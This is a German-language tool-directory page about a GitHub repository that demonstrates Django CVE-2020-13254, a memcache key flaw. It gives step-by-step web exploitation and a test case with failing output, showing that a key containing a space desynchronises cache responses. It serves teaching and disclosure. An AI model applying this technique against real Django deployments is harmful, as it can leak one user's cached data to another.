Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
django-cve-2020-13254 — Schwachstellen-Demonstration für Django CVE-2020-13254 | Kitploit
Tools/GitHubGitHub/danpalmer/django-cve-2020-13254
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubdanpalmer/django-cve-2020-13254

django-cve-2020-13254

Schwachstellen-Demonstration für Django CVE-2020-13254

Repository anzeigen
212vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Django CVE-2020-13254

Dieses Repository zeigt die Ausnutzung von CVE-2020-13254 auf zwei Arten – über eine Weboberfläche und über einen fehlschlagenden Testfall.

Weitere Details finden Sie unter:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

Ausnutzung über das Web

Das Beispiel bietet eine Weboberfläche mit 2 Formularen, eines, das Werte im Cache setzt, und das andere, das sie abruft. Diese werden direkt in Aufrufe des Django-Cache-Backends übersetzt. Da die Codebasis kein Sitzungs- oder Authentifizierungssystem implementiert, sind mehrere Verwendungen im selben Browser-Tab nicht von mehreren Benutzern auf verschiedenen Maschinen unterscheidbar.

Zur Ausnutzung:

  1. Setzen Sie Schlüssel A und B auf die Werte a und b.
  2. Versuchen Sie, C D auf den Wert c d zu setzen. Dies wird einen Fehler verursachen.
  3. Versuchen Sie, Schlüssel A abzurufen – fälschlicherweise wird kein Ergebnis zurückgegeben.
  4. Versuchen Sie, Schlüssel B abzurufen – fälschlicherweise wird a zurückgegeben.

Demo über Tests

Dieser Vorgang kann als Testfall wie folgt dargestellt werden:

root@kitploit:~
from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )

Dies schlägt mit dem folgenden Fehler fehl:

root@kitploit:~
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
  File "tests.py", line 30, in test_cache
    'v1',
AssertionError: Lists differ

First differing element 0:
None
'v2'

- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
?  ------

+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
?                              ++++++

-------------------------------------------------------------

Nach dem set sind die zurückgegebenen Cache-Ergebnisse nicht mehr synchron mit den durchgeführten Abfragen.

Tool herunterladen